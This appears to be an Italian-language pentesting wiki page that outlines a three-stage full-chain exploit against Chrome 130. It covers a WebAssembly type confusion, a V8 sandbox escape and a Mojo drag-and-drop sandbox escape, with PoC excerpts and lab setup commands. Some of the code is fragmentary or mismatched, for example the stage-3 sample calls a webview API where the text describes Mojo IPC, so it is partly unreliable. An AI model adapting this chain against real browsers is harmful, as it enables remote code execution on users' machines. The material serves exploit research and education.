Chrome Exploiting

Reading time: 6 minutes

Questa pagina fornisce una panoramica pratica ad alto livello di un moderno flusso di lavoro di sfruttamento "full-chain" contro Google Chrome 130 basato sulla serie di ricerche “101 Chrome Exploitation” (Parte-0 — Prefazione). L'obiettivo è fornire ai pentester e agli sviluppatori di exploit il background minimo necessario per riprodurre o adattare le tecniche per le proprie ricerche.

1. Riepilogo dell'Architettura di Chrome

Comprendere la superficie di attacco richiede di sapere dove viene eseguito il codice e quali sandbox si applicano.

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Layered defence-in-depth:

• V8 sandbox (Isolate): i permessi di memoria sono limitati per prevenire letture/scritture arbitrarie da JS / Wasm JITed.
• La divisione Renderer ↔ Browser è garantita tramite il passaggio di messaggi Mojo/IPC; il renderer non ha accesso nativo al FS/rete.
• Le sandbox OS contengono ulteriormente ogni processo (Windows Integrity Levels / seccomp-bpf / profili sandbox macOS).

Un attaccante remoto ha quindi bisogno di tre primitive successive:

1. Corruzione di memoria all'interno di V8 per ottenere RW arbitrario all'interno dell'heap V8.
2. Un secondo bug che consente all'attaccante di uscire dalla sandbox V8 per accedere alla memoria completa del renderer.
3. Una fuga finale dalla sandbox (spesso logica piuttosto che corruzione di memoria) per eseguire codice al di fuori della sandbox di Chrome OS.

2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Un difetto nell'ottimizzazione Turboshaft di TurboFan classifica erroneamente i tipi di riferimento WasmGC quando il valore è prodotto e consumato all'interno di un singolo ciclo di blocco base.

Effetto:

• Il compilatore salta il controllo del tipo, trattando un riferimento (externref/anyref) come un int64.
• Wasm creato consente di sovrapporre un'intestazione di oggetto JS con dati controllati dall'attaccante → addrOf() & fakeObj() primitive AAW / AAR.

Minimal PoC (estratto):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Ottimizzazione del trigger e spray di oggetti da JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Risultato: lettura/scrittura arbitraria all'interno di V8.

3. Fase 2 – Uscire dal Sandbox di V8 (problema 379140430)

Quando una funzione Wasm viene compilata in modo tier-up, viene generato un wrapper JS ↔ Wasm. Un bug di mismatch della firma causa il wrapper a scrivere oltre la fine di un oggetto Tuple2 fidato quando la funzione Wasm viene riottimizzata mentre è ancora nello stack.

Sovrascrivere i 2 × campi a 64 bit dell'oggetto Tuple2 consente lettura/scrittura su qualsiasi indirizzo all'interno del processo Renderer, bypassando effettivamente il sandbox di V8.

Passaggi chiave nell'exploit:

1. Portare la funzione nello stato Tier-Up alternando codice turbofan/baseline.
2. Attivare il tier-up mantenendo un riferimento nello stack (Function.prototype.apply).
3. Utilizzare AAR/AAW di Fase-1 per trovare e corrompere il Tuple2 adiacente.

Identificazione del wrapper:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Dopo la corruzione possediamo un primitive R/W del renderer completamente funzionale.

4. Fase 3 – Escape dal Sandbox del Renderer → OS (CVE-2024-11114)

L'interfaccia IPC Mojo blink.mojom.DragService.startDragging() può essere chiamata dal Renderer con parametri parzialmente fidati. Creando una struttura DragData che punta a un percorso di file arbitrario, il renderer convince il browser a eseguire un'operazione di drag-and-drop nativa al di fuori del sandbox del renderer.

Abusando di questo possiamo “trascinare” programmaticamente un EXE malevolo (precedentemente posizionato in una posizione scrivibile da tutti) sul Desktop, dove Windows esegue automaticamente determinati tipi di file una volta rilasciati.

Esempio (semplificato):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Nessuna corruzione di memoria aggiuntiva è necessaria – il difetto logico ci consente di eseguire file arbitrari con i privilegi dell'utente.

5. Flusso della Catena Completa

1. L'utente visita una pagina web malevola.
2. Fase 1: Il modulo Wasm sfrutta CVE-2025-0291 → heap V8 AAR/AAW.
3. Fase 2: La discrepanza del wrapper corrompe Tuple2 → fuga dalla sandbox V8.
4. Fase 3: startDragging() IPC → fuga dalla sandbox OS ed esecuzione del payload.

Risultato: Esecuzione Remota di Codice (RCE) sull'host (Chrome 130, Windows/Linux/macOS).

6. Configurazione del Laboratorio e Debugging

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Utili flag quando si avvia una build di development di Chrome:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

Takeaways

• I bug JIT di WebAssembly rimangono un punto d'ingresso affidabile – il sistema di tipi è ancora giovane.
• Ottenere un secondo bug di corruzione della memoria all'interno di V8 (ad es. mismatch del wrapper) semplifica notevolmente l'uscita dal sandbox di V8.
• Le debolezze a livello logico nelle interfacce IPC privilegiate di Mojo sono spesso sufficienti per una uscita finale dal sandbox – fai attenzione ai bug non di memoria.

References

• 101 Chrome Exploitation — Part 0 (Preface)
• Architettura di sicurezza di Chromium